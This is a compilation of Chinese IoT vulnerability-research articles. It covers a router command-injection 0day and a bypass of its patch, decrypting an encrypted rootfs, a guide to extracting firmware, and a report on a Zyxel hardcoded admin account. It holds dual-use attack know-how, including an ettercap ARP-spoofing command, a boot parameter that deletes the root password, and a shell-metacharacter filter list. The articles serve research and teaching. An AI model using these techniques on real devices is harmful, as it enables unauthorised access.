可以发现除了`/sbin/hw/default/rg_device.json`中都有此字段,这里**随便复制一个`/sbin/hw/60010081/rg_device.json`到`/tmp/rg_device`目录下**。之后再执行`/usr/sbin/unifyframe-sgi.elf`程序,就发现没有新的报错,执行成功了。
|
||||
|
||||

|
||||
|
||||
此时进程中也有`/usr/sbin/unifyframe-sgi.elf`程序在运行。
|
||||
|
||||

|
||||
|
||||
最后,我们利用该漏洞注入`telnetd`命令启动相应服务,可以看到**代表`telnet`服务的`23`号端口被成功开启**。
|
||||
|
||||

|
||||
|
||||
至此,利用仿真模拟的环境对该漏洞的验证完成,总体来说对该设备的仿真还是比较容易的。
|
||||
|
||||
## 补丁分析
|
||||
### 补丁1
|
||||
|
||||
遗憾的是,部分型号设备的固件在第一次修补之后仍存在漏洞,笔者已上报给厂商并修复。这里以`xxx`固件为例,使用`Diaphora`对新旧版本的`unifyframe-sgi.elf`文件进行二进制对比分析。
|
||||
|
||||
容易发现,在新版固件的`unifyframe-sgi.elf`文件中新增了`stringtojson`和`is_independ_format`函数:
|
||||
|
||||

|
||||
|
||||
在`stringtojson`函数中,调用了`is_independ_format`函数,判断是否存在**单引号和反引号**。若不存在就返回,而**返回的内容无法通过单引号闭合**,也就无法执行任意命令。
|
||||
|
||||
```C
|
||||
__int64 __fastcall stringtojson(__int64 a1)
|
||||
{
|
||||
...
|
||||
v2 = 0x433000uLL;
|
||||
v3 = 0x433000uLL;
|
||||
if ( !a1 )
|
||||
goto LABEL_2;
|
||||
while ( 2 )
|
||||
{
|
||||
v5 = (_BYTE *)a1;
|
||||
if ( !(*(unsigned __int8 (**)(void))(v2 + 2968))() // is_independ_format
|
||||
|| ... )
|
||||
{
|
||||
LABEL_2:
|
||||
v1 = 0LL;
|
||||
goto LABEL_3; // -> return xxx;
|
||||
}
|
||||
```
|
||||
|
||||
```C
|
||||
bool __fastcall is_independ_format(const char *a1)
|
||||
{
|
||||
if ( !a1 )
|
||||
return 0LL;
|
||||
if ( strchr(a1, '`') )
|
||||
return 1LL;
|
||||
return strchr(a1, '\'') != 0LL;
|
||||
}
|
||||
```
|
||||
|
||||
若是存在单引号,且前面没有转义符,则对其**`Unicode`编码**,即`\\u0027`。反引号也同理。
|
||||
|
||||
```C
|
||||
while ( 1 )
|
||||
{
|
||||
v13 = (unsigned __int8)*v11;
|
||||
if ( !*v11 )
|
||||
break;
|
||||
v15 = v11 + 1;
|
||||
if ( v13 == '\'' )
|
||||
goto LABEL_22;
|
||||
...
|
||||
LABEL_22:
|
||||
if ( v11 != (_BYTE *)1 )
|
||||
{
|
||||
v13 = 'u';
|
||||
v16 = *(v11 - 1) != '\\';
|
||||
if ( (unsigned __int64)v11 <= v10 )
|
||||
goto LABEL_24; // mark
|
||||
goto LABEL_38;
|
||||
}
|
||||
goto LABEL_19;
|
||||
...
|
||||
LABEL_24:
|
||||
if ( !v16 )
|
||||
goto LABEL_40;
|
||||
v17 = (__int64 *)v22;
|
||||
LOBYTE(v22[1]) = v13; // mark
|
||||
LABEL_26:
|
||||
if ( v13 == 'u' )
|
||||
{
|
||||
(*(void (__fastcall **)(__int64, const char *, _QWORD))(v3 + 3680))( // sprintf
|
||||
(__int64)v17 + v16 + 4,
|
||||
"%02x",
|
||||
(unsigned __int8)*(v15 - 1)); // mark
|
||||
v18 = (unsigned int)(v16 + 6);
|
||||
}
|
||||
```
|
||||
|
||||
进一步交叉引用,在`sub_40DB48`函数中,对可控的数据用`stringtojson`函数进行了过滤。然而,这里的过滤并不严谨,接着往下看。
|
||||
|
||||

|
||||
|
||||
由上述可知,若这里的`v74`不为空,则存放着`stringtojson`函数过滤后的内容,否则说明不存在单引号或反引号,也就未通过`stringtojson`函数进行过滤。又由于`stringtojson`函数处理后会**带有双引号**,故若包含了单引号或反引号,**该命令在新版固件中实际为`/usr/sbin/module_call set networkId_merge "{...}"`**。虽然由于`JSON`数据中双引号得是`\"`才行(`stringtojson`函数也会将双引号编码为`\\u0022`),无法闭合绕过双引号,但是在双引号内是**可以用反引号或`$()`执行命令**的,而这里只过滤了反引号,并**未过滤`$()`**,也就给了攻击者可趁之机。
|
||||
|
||||

|
||||
|
||||
不过,在新版本固件中,也在其他方面加强了一定的安全检查和防护,例如在初始化脚本`/etc/init.d/factory`中通过`rm usr/sbin/telnetd`命令**删除了`telnetd`程序**,也就无法通过开启远程登录而控制设备了。但是,不难想到还可以通过**反弹`shell`**获取设备权限,这里笔者采用的是**`telnet`反弹**的方式。
|
||||
|
||||
**请求报文:**
|
||||
|
||||
```
|
||||
暂不公开
|
||||
```
|
||||
|
||||
**演示效果:**
|
||||
|
||||

|
||||
|
||||
### 补丁2
|
||||
|
||||
其实,只要在`noauth.lua`的`merge`函数中对传入的`params`加个过滤即可,如下:
|
||||
|
||||
```lua
|
||||
function merge(params)
|
||||
local cmd = require "luci.modules.cmd"
|
||||
local tool = require("luci.utils.tool")
|
||||
local _strParams = luci.json.encode(params)
|
||||
|
||||
if tool.includeXxs(_strParams) or tool.includeQuote(_strParams) then -- 过滤危险字符和单引号
|
||||
tool.eweblog(_strParams, "MERGE FAILED INVALID DATA")
|
||||
return 'INVALID DATA'
|
||||
end
|
||||
|
||||
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
|
||||
end
|
||||
```
|
||||
此处,通过`includeXxs`函数过滤了各种危险字符,以及用`includeQuote`函数过滤了单引号:
|
||||
|
||||
```lua
|
||||
function includeXxs(str)
|
||||
local ngstr = "[\n`&$;|]"
|
||||
return string.match(str, ngstr) ~= nil
|
||||
end
|
||||
```
|
||||
```lua
|
||||
function includeQuote(str)
|
||||
return string.match(str, "(['])") ~= nil
|
||||
end
|
||||
```
|
||||
可见,在新版本固件中,将换行符`\n`也过滤了,提高了安全性。
|
||||
|
||||
## 总结
|
||||
|
||||
这篇文章是在挖到这个`0day`挺久之后写的了。依稀记得当时刚挖到这个漏洞的时候,有着些许兴奋,但更多的是感到不易,因为我当时觉得这条调用链还挺深的,里面也牵涉到了不少东西。但是,当我如今再梳理这个漏洞的相关细节的时候,我觉得这条调用链其实也就那样吧,整个挖掘思路和利用思路都不算难,抛开影响范围,并算不上品相多好的洞QAQ。
|
||||
|
||||
在挖这个洞的时候,我遇到的最大挑战就是逆向分析了,我觉得这里的逆向难度还是比较大的(当然我逆向水平也很菜)。在实际逆向分析的过程中,并没有文章中写的那么流畅,当时的挖掘思路也不可能是完全按照文章的流程来的,比如需要多考虑一些东西(例如,文章中一直都在找命令注入的洞,但其实也有可能是可控的`params`字段造成的缓冲区溢出等等,这些在初次挖掘的时候也都需要考虑),当然也走了不少弯路,但好在最终是坚持下来了。
|
||||
|
||||
当时,我只知道`params`字段是可控的,而`params`内也是`Json`的格式,于是猜测是其中的某个特定的字段可能会造成命令注入或缓冲区溢出等问题,因此就一路挖到底了。不过如今再看来,其实就这个洞而言,是否采用自动化的方式会更简单呢(当然就工业界来说,`IoT`的全自动化漏扫我并没有看到过实际效果很好的工具,基本都是半自动化提高效率)?
|
||||
|
||||
进一步地从宏观上来看二进制漏洞的挖掘思路,无非就是从危险函数出发和从交互入口出发两种方式,显然前者在筛掉明显无法利用的危险函数点之后,所涉及的支路会更少,挖起来也会更容易,而后者基本是要从交互入口一路挖到中断点甚至挖到底的。然而,该漏洞却是采用后者的思路进行挖掘的,当时主要是考虑到只有一个可能的未授权入口,因此很自然地采用了后者的思路。现在想来,这里若是采用前者的思路,可能并不会那么容易地挖到此漏洞。如何更好地结合上述两种思路,特别是对于自动化漏扫来说,我觉得仍是值得思考的问题。
|
||||
|
||||
说了些自己粗浅的理解和感受,就说到这里吧。希望这篇文章能给各位像我一样刚入门`IoT`漏洞挖掘的师傅带来些启发,也欢迎各位大师傅与我交流。最后,希望我在不久的将来能挖到在挖掘思路和利用手法上都有所创新的高质量`0day`吧。
|
||||
@@ -0,0 +1,98 @@
|
||||
# 记一次固件解密学习--X软路由
|
||||
> ch0ing
|
||||
> 来源:https://www.iotsec-zone.com/article/218
|
||||
|
||||
# 记一次固件解密学习--X软路由
|
||||
|
||||
## 定位加密
|
||||
|
||||
官网直接提供这么多格式的系统下载
|
||||
|
||||

|
||||
|
||||
直接下载的bin文件`binwalk`梭哈不开。
|
||||
|
||||
下一个ISO回来装成虚拟机,咱还收拾不了你了吗。
|
||||
|
||||
用7-zip打开`.vmdk`文件。
|
||||
|
||||
rootfs脱出来解不开。啊这,不按套路出牌啊。
|
||||
|
||||

|
||||
初步怀疑是grub 或者vmlinuz被厂商进行了修改,加入了解密操作。
|
||||
|
||||
grub配置关键代码
|
||||
|
||||
```
|
||||
menuentry "xxxxxi RouterOS" "$ikversion" "$uuid" "$default" {
|
||||
linux /boot/vmlinuz root=/dev/ram0 crashkernel=128M@64M rootfstype=ext4 rootwait console=tty0 bootguide=hd intel_idle.max_cstate=0 processor.max_cstate=0 ikversion=$2 diskuuid=$3 grub_menu_id=0 grub_default=$4
|
||||
initrd /boot/rootfs
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
从磁盘文件中解出grub和vmlinuz看一下
|
||||
|
||||

|
||||
好吧,看起来就是像大雄同学对内核加了一些逻辑。然后来解密rootfs。
|
||||
|
||||
## 分析加密
|
||||
|
||||
分析思路为对着linux的内核代码,看反编译中添加了什么代码逻辑来解密。
|
||||
|
||||
常规套路,要想分析,先搞点报错字符串出来。
|
||||
|
||||
将vmdk挂载到ubantu,rootfs内容随便改改,然后启动,可以抓到报错关键字."Invaild rootfs"
|
||||
|
||||
有了关键字就好办了。
|
||||
|
||||
使用工具
|
||||
|
||||
[https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux)
|
||||
|
||||
将bzImage提取为vmlinux文件。
|
||||
|
||||
然后搜索关键字找到调用点,通过函数中其他得打印字符串定位加密逻辑就在在`populate_rootfs`函数中
|
||||
|
||||

|
||||
|
||||
通过开源代码还原代码中的变量名,变量类型。
|
||||
|
||||
[https://github.com/torvalds/linux/blob/v3.18/init/initramfs.c](https://github.com/torvalds/linux/blob/v3.18/init/initramfs.c)
|
||||

|
||||

|
||||
|
||||
可以看到,在do_while循环中通过16位key_16数组生成1024位key_1024数组。
|
||||
|
||||

|
||||

|
||||
|
||||
然后再for循环中通过key_1024运算解密。
|
||||
|
||||

|
||||
|
||||
## 解密
|
||||
|
||||
依据上边得分析,将伪代码还原为C代码,核心代码如下。
|
||||
|
||||
```C
|
||||
do {
|
||||
key_1024[key_index] = key_16[key_index & 0xf] + 19916032 * ((int32_t)key_index + 1) / 131u;
|
||||
++key_index;
|
||||
} while (key_index != 1024);
|
||||
|
||||
for (iter = 0;
|
||||
initrd_real_size > (uint32_t)iter;
|
||||
initrd_start[iter - 1] = ((initrd_start[iter - 1] - (uint8_t)tmp_var) << ((uint8_t)tmp_var % 7u + 1)) | ((int32_t)(uint8_t)(initrd_start[iter - 1] - tmp_var) >> (8 - ((uint8_t)tmp_var % 7u + 1)))) {
|
||||
tmp_var = var_0 + iter++;
|
||||
*(uint8_t*)&tmp_var = (uint8_t)(initrd_size_low_byte + key_1024[tmp_var % 1024u] * var_1);
|
||||
}
|
||||
```
|
||||
|
||||
编写编译c代码,成功解密。丢到binwalk 得到固件,虽然系统不是很完整。仅仅有几个目录,但是web相关的lua代码已经拿到了,可以找一个rce漏洞获取shell,再进行进一步研究
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,281 @@
|
||||
# 设备漏洞战记之固件提取篇
|
||||
> buggart
|
||||
> 来源:https://www.iotsec-zone.com/article/107
|
||||
|
||||
# 固件提取篇
|
||||
|
||||
@hvidwp
|
||||
|
||||
俗话说,巧妇难为无米之炊。在进行IOT漏洞挖掘的过程中,获取目标的文件系统,对二进制文件进一步分析,才能更好地理清目标设备的运行逻辑,从而发现其中的脆弱点。而无法获取固件中的文件,挖掘漏洞就会变成黑盒测试,这无疑是很困难的。
|
||||
|
||||
下面,我总结了一些常见的固件获取和固件解密的方法。
|
||||
|
||||
## 一、直接获取法
|
||||
|
||||
这类固件直接从官网能够下载到,使用binwalk、firmware-mod-kit这类工具能直接进行解包,比如华硕ASUS、NetGear等。通常我们能使用工具直接扫描出使用了何种压缩算法,以常见的嵌入式文件系统squash-fs为例,常见的有LZMA、LZO、LAMA2这些。
|
||||
|
||||
要注意的是,有些设备的固件官网并不提供,但在一些第三方网站的固件库中会收录,也可以在上面下载到相应的固件。还有些网站对于不同地区的发行产品不同,提供的下载固件也不同,有时要选择正确的地区,才能找到对应的固件,比较典型的就是tp-link。
|
||||
|
||||
还有就是可以人工向售后或者代理商索要。
|
||||
|
||||
## 二、固件加密类
|
||||
|
||||
还有就是厂商对固件进行了加密,在设备升级时,使用自己的方法先解密,再加载。一般通过binwalk等工具直接查看,无法查看到文件的压缩信息。下面以加密固件飞鱼星VM1200与未加密固件华硕AC66U为例。
|
||||
|
||||
```shell
|
||||
root@ubuntu:/home/vincent/Desktop# binwalk B-MB3W202-201215-r11176.bin
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------------------------------
|
||||
```
|
||||
|
||||
```
|
||||
root@ubuntu:/home/vincent/Desktop# binwalk RT-AC66U_B1_3.0.0.4_384_32738-gc9a116a.trx
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------------------------------
|
||||
0 0x0 TRX firmware header, little endian, image size: 44601344 bytes, CRC32: 0x807BC41B, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x19B364, rootfs offset: 0x0
|
||||
28 0x1C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4034848 bytes
|
||||
1684324 0x19B364 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 42912124 bytes, 2623 inodes, blocksize: 131072 bytes, created: 2018-08-06 10:06:36
|
||||
```
|
||||
|
||||
或者使用`binwalk -E`查看固件的熵值。熵是用来衡量不确定性的,如果熵值越大,说明固件越有可能是被加密或者压缩的,要注意的是,压缩也会使固件的熵值变大。
|
||||

|
||||

|
||||
可以看到VM1200与AC66U,后者没有全部接近1。
|
||||
|
||||
解密固件的最简单方法是在固件中寻找解密例程,如果路由器可以解密新固件以进行更新,则解密例程必须位于旧固件映像中的某个位置。如果遇到加密的固件,请访问供应商网站并查找固件的存档版本,下载所有旧版本并开始四处浏览。
|
||||
|
||||
以下是常见的固件发行方案:
|
||||
|
||||
### **固件发布方案1**
|
||||
|
||||
设备固件出厂时未加密,也不包含任何解密例程。解密例程与固件的未加密版本一起以更高版本(v1.1)一起提供,以用于将来的加密固件更新,随后的固件版本将被加密。
|
||||
|
||||

|
||||
|
||||
在这个方案中,我们可以从固件v1.1获取解密例程,并使用它来解密最新的固件1.2版本。
|
||||
|
||||
### **固件发布方案2**
|
||||
|
||||
设备固件在原始发行版中已加密,供应商决定更改加密方案,并发布包含新解密例程的未加密过渡版本v1.2。
|
||||

|
||||
|
||||
与方案1相似,我们可以从v1.2映像获取解密例程,并将其应用于最新的加密固件。阅读固件版本的发行说明可能有助于识别未加密的过渡版本。发行说明通常会指导用户在升级到最新版本之前先升级到中间版本,中间版本很可能是未加密的过渡固件。
|
||||
|
||||
### **固件发布方案3**
|
||||
|
||||
设备固件在原始版本中是加密的。但是,供应商决定更改加密方案,并发布包含新解密例程的加密过渡版本。
|
||||

|
||||
|
||||
在这种情况下,来获得解密例程就很困难了。一种方法是购买设备并直接从硬件中提取未加密的固件。另一种可能的方法是对固件进行更多的分析,以期“破解加密”。
|
||||
|
||||
下面以D-Link DIR-882的固件,针对第一种情况做实例分析。
|
||||
|
||||
### binwalk提取
|
||||
|
||||
Binwalk是用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具。具体来说,它被设计用于识别嵌入固件镜像内的文件和代码。Binwalk使用libmagic库,因此它与Unix文件实用程序创建的魔数签名兼容。Binwalk还包括一个自定义魔数签名文件,其中包含常见的诸如压缩/存档文件,固件头,Linux内核,引导加载程序,文件系统等的固件映像中常见文件的改进魔数签名。
|
||||
|
||||
使用binwalk检查最新的固件,无法检测到标头等信息。
|
||||
|
||||

|
||||
|
||||
在供应商的FTP服务器上,我们可以找到该路由器的所有旧固件。如果我们使用binwalk检查最早的固件版本v1.00B07,它将正确检测到uImage标头和LZMA压缩数据:
|
||||
|
||||

|
||||
|
||||
这表明该设备的固件发布方案符合方案一,依次查看不同的固件版本,发现v1.04B02是一个过渡版本,包含在v1.10B02中。
|
||||
|
||||

|
||||
|
||||
然后,使用binwalk从v1.04B02固件中提取文件系统。
|
||||
|
||||

|
||||
|
||||
层层提取得到文件系统。
|
||||

|
||||
|
||||
在文件系统中寻找解密例程,在/bin目录下找到一个**`imgdecrypt`**文件。
|
||||

|
||||
|
||||
### chroot解密技术
|
||||
|
||||
跨框架肯定是没办法运行`migdecrypt`的,这里使用QEMU执行跨架构的chroot。将待解密的固件复制到该文件系统中。
|
||||
|
||||

|
||||
|
||||
使用chroot启动/bin/sh运行shell。
|
||||
|
||||

|
||||
|
||||
成功启动busybox后,运行`imgdecrypt`来对待解密的固件进行解密。
|
||||
|
||||

|
||||
|
||||
发生了段错误,没解决好,我转到kali上去做了。
|
||||
|
||||

|
||||
|
||||
然后就可以使用binwalk进行解密了。
|
||||
|
||||

|
||||
|
||||
这就是遇到加密固件的解决办法,如果是第三种发布方案,因为家用路由器的计算能力有限,不会使用计算量大而难以破解的加密算法,而且一般供应商会对多个类型的路由器使用相同的加密方案,事实上,IDR-882的`imgdecrypt`文件还可以对DIR-878和DIR-867的固件进行解密。
|
||||
|
||||
## 三、获取权限类
|
||||
|
||||
如果碰到以上第三种加密方法,还有另外一些方法可以拿到文件系统。
|
||||
|
||||
例如将设备刷成老版本,通过历史漏洞获得设备的shell,想办法将设备上的文件直接导出,常用的漏洞有任意文件读、命令执行等。或者通过网页前端获取一些敏感信息等。
|
||||
|
||||
或者通过设备开放的服务,ssh、telnet、tftp等,也能够有效获取文件系统中的文件,可能会有厂家留下的后门密码。
|
||||
|
||||
以TP-link WR940N为例,查看开放了upnp、ssh,本身也支持telnet服务。
|
||||

|
||||
|
||||
因为ssh只识别tplink软件的ssh,不支持用户的ssh,所以无法连接。
|
||||
|
||||
但有人通过修改固件中ssh的配置,使其支持用户ssh,这样就可以ssh直接练上去,但前提是需要解包固件,并对固件十分了解。
|
||||
|
||||
在网上下到一个poc,直接利用栈溢出获得shell,但不是交互式的,想办法通过tftp传上busybox,用busybox启telnetd,并指定它的shell,这样可以拿到完全交互的shell。
|
||||
|
||||

|
||||
## 四、网络获取类
|
||||
|
||||
有些设备支持在线升级,可以通过wireshark配合热点抓设备升级的包,或者burpsuite抓APP请求设备升级的包 ,根据命名规则老固件下载地址,下面以华为路由为例 。
|
||||
|
||||
这款路由器在网上找不到现有固件,尝试一下是否可以通过抓包在线升级过程获取固件。
|
||||
首先关闭防火墙,否则无法访问路由器的服务,无法做中间人攻击。
|
||||
使用ettercap进行arp欺骗,`sudo ettercap -Tq -i ens33 -M arp:remote /192.168.31.1// /192.168.31.134//`
|
||||
打开wireshark进行抓包。理论上说,点击升级固件之后,wireshark就能够记录升级固件的整个过程(HTTP),但是结果却并不理想。
|
||||
|
||||
还好华为路由器自带了抓包的功能(方便后期的调试和维护),所以直接使用这个功能抓取报文,比做中间人要直接了当得多。
|
||||
|
||||
在点击升级固件之后,可以看到大量发往58.49.156.104这个地址的报文,猜测极有可能是华为的服务器,过滤一下会看得更清楚
|
||||
|
||||

|
||||
|
||||
可以看到在通过三次TCP握手之后,华为路由器向服务器发送了get请求,uri就是获取固件的地址 [http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin](http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin)
|
||||
|
||||
## 五、逆向升级法
|
||||
|
||||
有些设备是通过软件进行升级,或者上位管理设备进行升级,那么通过逆向升级的程序,软件内置解包和通讯的方法。
|
||||
|
||||
## 六、调试接口获取类
|
||||
|
||||
如果电路板上有现场的JTAG接口,可以用JTAG建立连接,读出烧录的固件。
|
||||
|
||||
前提是电路板上有JTAG接口,但其实自带JTAG的电路板并不多,可以用Jlink烧录器等进行。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
腾讯玄武实验室的 HyperChem,在GeekPwn2017上有详细分享。
|
||||
|
||||
## 七、拆flash、SD/TF卡、硬盘等,用编程器/读卡器获取固件
|
||||
|
||||
一般就是用热风枪吹下flash芯片,然后用编程器提取固件的内容,再把FLASH芯片焊回去。
|
||||
|
||||
这里的难点其实主要是如何在不损坏设备和自己的前提下,对芯片进行拆焊。
|
||||
|
||||
用热风枪的时候主要有两个要素,一个是温度,一个是风速,温度太高会损坏设备,太低没办法融化焊锡。
|
||||
|
||||
对于含铅焊锡使用温度在330-350摄氏度之间,如果采用无铅焊锡,温度则在350-370摄氏度之间。比较好的做法是使用高温胶带将芯片四周包裹起来,起到隔热保护的作用,对于不同的芯片,最好先下载查看芯片手册,有些对温度有特别的要求。
|
||||
|
||||
需要注意的是芯片是有方向的,第一脚的地方有一个圆点,焊接或用编程器读取时,弄清芯片的方向。
|
||||
|
||||

|
||||
|
||||
我这里因为有芯片夹,刚好是八脚的,所以可以不用吹下来,要注意的是,编程器可以选择由编程器供电读芯片,也可以选择由设备供电。
|
||||
|
||||
这个编程器一般会带一个锁紧座,方便烧录完一个芯片后,可以方便的换下下一个芯片继续烧录。
|
||||
|
||||
在读取数据时,还需要对数据进行处理,修复错误数据以及去除ECC校验位。Flash芯片分为Nor Flash和Nand Flash。如果目标芯片是NorFlash,就不需要考虑去除ECC校验位,直接进行固件解析,如果是Nand芯片,则必须去除ECC校验位。
|
||||
|
||||
根据编程器,下载对应的软件,选择正确的芯片进行读取就可以了。
|
||||
|
||||

|
||||
|
||||
ICSP串行接口,一般是用在单片机编程上。
|
||||
|
||||

|
||||
|
||||
### 修复数据错误
|
||||
|
||||
取数据的过程中可能由于硬件问题或数据传输的原因(比特翻转),导致部分数据读取出错。因此需要多次读取,并校验读取结果。如果多次读取的内容一致,说明读取过程没有出现问题,如果多次读取的结果不一致,则需要对读取结果进行数据修复。
|
||||
|
||||
由于这种数据出错是随机的,因此一般采用基于统计的方法修复错误数据。首先进行多次读取,并统计出所有变化的字节。这些字节在多次读取中出现频率最高的值,即为原始数据的值。
|
||||
|
||||
### 去除ECC校验位
|
||||
|
||||
Nand Flash包含若干个块,一个块包含若干个页。由于电气特性的限制,Nand Flash是以页为单位读取,以块为单位擦写。Nand Flash在擦写过程中,氧化层结构会逐步被破坏,因此Nand Flash有擦写次数限制,擦写次数超出限额会形成坏块。
|
||||
|
||||
IoT设备会在软件层面实现坏块管理,充分利用Nand Flash的存储空间,延长使用寿命。坏块管理一般使用ECC校验算法,ECC校验算法一般每256字节原始数据生成3字节校验数据,在Nand Flash上存储原始数据的同时会存储校验数据。
|
||||
|
||||
由于ECC校验算法的使用,导致我们从Nand Flash中读出的数据混合了原始数据和校验数据。要想对固件进行正确的解析,必须去除这些校验数据。一般Nand Flash每页存储512字节原始数据,并分配16字节用于存储校验数据、坏块标记和文件系统信息,这16字节被称为spare area。但是原始数据和spare area的排布并不是固定的,常见的排布方式有两种。
|
||||
|
||||

|
||||
|
||||
原始数据和spare area的排布是由操作系统层面对Nand Flash读写的实现方式决定的,因此没有固定的标准。一般可以根据芯片手册,结合NandFlash页大小、spare area大小以及常见的排布形式进行尝试。
|
||||
|
||||
## 八、串口(UART)调试口获取固件
|
||||
|
||||
串口识别:串口有两种标准,串口识别的时候,一般是把设备拆开以后,串口一般有四个脚,第一步要找到地(GND),地是很好找的,和电源相连的那个地,或者芯片跟地相连的。地确定了以后,我们把它接到USB接口上,我先把接收的脚接上,两个脚都有可能是高电,这时把接收的脚和地接上,然后随便接上一个脚,设备一启动,如果这个时候只要有输出了,就是接对了;然后把另外一个脚一接,三个脚就接好了。
|
||||
|
||||
还有网上看来的思路,没有试过。
|
||||
|
||||
1.通过修改Uboot启动参数,通过TFTP来让嵌入式系统运行我们修改过的文件系统,然后再系统运行后提取固件。
|
||||
|
||||
2.用第三方linux挂载硬盘,替换/etc目录下的passwd和shadow,shadow-的root项。
|
||||
|
||||
3.X86系统,用u盘版的linux挂在上去,然后mount,类似WinPE方式入侵。
|
||||
|
||||
4.类似linux系统忘记密码的解决方案,再启动选项上加一个single和init=/bin/sh
|
||||
|
||||
5.让系统在启动时执行删除密码命令。在启动选项上加上一个init='passwd root -d'。
|
||||
|
||||
前提是能够进入uboot的命令行。
|
||||
|
||||
还有一个比较骚的方法。
|
||||
|
||||
uboot,每次启动时都有3秒时间,这个时间是可设的,一般有3秒时间在等待输入(或者其它快捷键,一般有提示),进入uboot模式后,uboot有帮助命令,这些命令里有一条引起我的注意,就是md。md有什么作用?显示内存,能够把内存显示出来。这就有点意思了。发现只要是Nor flash,md可以把Nor flash的内容显示出来(因为nor flash可以通过CPU直接寻址),这就相当于md命令可以提取固件。但md命令是需要知道起始地址和长度的,知道起始地址和长度就可以把固件提取出来。怎么知道起始地址和命令?我查看了更多的命令的信息,结果发现bdinfo和flinfo可以查看到flash起始地址和容量。如果还是找不到的话就重启一下,重启时不要打断,看它会不会打印更多flash地址分布信息,通过这些信息基本就能找到起始地址把固件提取出来了。
|
||||
|
||||
总结一下:第一步,获取flash的存储信息,它这个flash有多大、什么型号的、CPU访问它的地址区间是什么?第二步,用md命令提取固件信息。第三步,记录下来。第四步,分析输出信息,获取固件。
|
||||
|
||||
要注意一下这个Nor flash和Nand flash的区别。
|
||||
|
||||
NOR Flash 的读取和我们常见的 SDRAM 的读取是一样,用户可以直接运行装载在 NOR FLASH 里面的代码,这样可以减少 SRAM 的容量从而节约了成本。 NAND Flash 没有采取内存的随机读取技术,它的读取是以一次读取一块的形式来进行的, 通常是一次读取 512 个字节,采用这种技术的 Flash 比较廉价。用户 不能直接运行 NAND Flash 上的代码,因此好多使用 NAND Flash 的开发板除了使用 NAND Flah 以外,还作上了 一块小的 NOR Flash 来运行启动代码。
|
||||
所以对于使用了nandflash固件,需要先将nand flash读到内存,然后用md把内存读出来。
|
||||
|
||||
uboot命令:获取flash中固件存放地址信息的命令集合:
|
||||
|
||||
```
|
||||
printenv、flinfo、ubifsls、iminfo、bdinfo、sf probe、base等
|
||||
```
|
||||
|
||||
uboot命令:读取flash中固件内容到内存的命令集合:
|
||||
|
||||
```
|
||||
mtdparts default、loada、loadk、cp、sf read、ext4lload、fatload
|
||||
```
|
||||
|
||||
uboot命令:读取内存的命令集合如下:
|
||||
|
||||
```
|
||||
md、md64、md b、md w、md l、mm
|
||||
```
|
||||
|
||||
## 九、用逻辑分析仪监听flash,ram获取信息
|
||||
|
||||
它的优点是不用拆东西,只要把这个东西接上去就可以了,而且这个东西也挺好接的。但缺点是逻辑分析仪目前价格便宜的频率低,但flash一般频率比较高,都是100兆、200兆。我做了一个实验,结果发现确实是可以的。需要把这几个脚引出来,在它启动的时候抓取数据,用夹子夹在芯片上,那个标红色的脚是第一脚。抓在上面以后,通过SPI接口把传输的这个数据保存。
|
||||
|
||||

|
||||
|
||||
前面是SPI的命令,命令里面这个是输出的数据。前面第一个是读的意思,这三个应该是地址,后面的是数据。这边是发出的命令,那边是接收的命令,结果是这个逻辑分析仪提取出的东西跟flash里的固件的二进制是一致的,说明这个思路是可行的,找了一个速度稍微慢点的设备,也是可以把固件提取出来的。
|
||||
|
||||
## 参考
|
||||
[https://www.anquanke.com/post/id/214730](https://www.anquanke.com/post/id/214730)
|
||||
[https://paper.seebug.org/1608/](https://paper.seebug.org/1608/)
|
||||
[https://paper.seebug.org/1651/](https://paper.seebug.org/1651/)
|
||||
[https://bbs.pediy.com/thread-230095.htm](https://bbs.pediy.com/thread-230095.htm)
|
||||
@@ -0,0 +1,85 @@
|
||||
# 超十万Zyxel设备被曝存在高危漏洞
|
||||
> 0431物联卫士实验室
|
||||
> 来源:https://www.iotsec-zone.com/article/350
|
||||
|
||||
Zyxel 是面向中小型企业的热门防火墙品牌。其统一安全网关 (USG) 产品系列通常用作防火墙或 VPN 网关。由于我们很多人都在家工作,所以支持VPN的设备一直很畅销。
|
||||
|
||||
近日,荷兰Eye Control 研究员在研究zyxelUSG 40时,惊讶的发现,在其最新固件版本(4.60)中存在一个用户“zyfwp”,且明文密码在系统上的一个二进制文件中可见。更令人惊讶的是,这个帐户似乎同时适用于SSH和Web界面。
|
||||
|
||||
```
|
||||
$ ssh [email protected]
|
||||
Password: Pr*******Xp
|
||||
Router> show users current
|
||||
No: 1
|
||||
Name: zyfwp
|
||||
Type: admin
|
||||
(...)
|
||||
Router>
|
||||
|
||||
```
|
||||
|
||||
由于此用户在界面中不可见,因此无法更改其密码。虽然研究员也检查了以前的固件版本 (4.39),但在前版本中尽管存在此用户却没有密码。由此推测该漏洞或早已引入最新的固件版本。
|
||||
|
||||
该漏洞编号为CVE-2020-29583。由于这些设备上的 SSL VPN 与 Web 界面在同一端口上运行,因此许多用户已将这些设备中的端口 443 公开到互联网。利用SONAR项目的公开数据,安全研究员成功识别出大约3000个ZyxelUSG/ATP/VPN设备。在全球范围内,超过十万台Zyxel 防火墙、VPN 网关和接入点控制器受到影响。
|
||||
|
||||

|
||||
|
||||
根据研究员的经验,这些设备的大多数用户不会经常更新固件。Zyxel 设备也不会将其固件版本公开给未经身份验证的用户,因此确定设备是否易受攻击就变得异常困难。
|
||||
|
||||
尽管想要了解受影响的设备数量,但简单地尝试密码并不可行,尤其是这也会受到道德和法律的谴责。
|
||||
|
||||
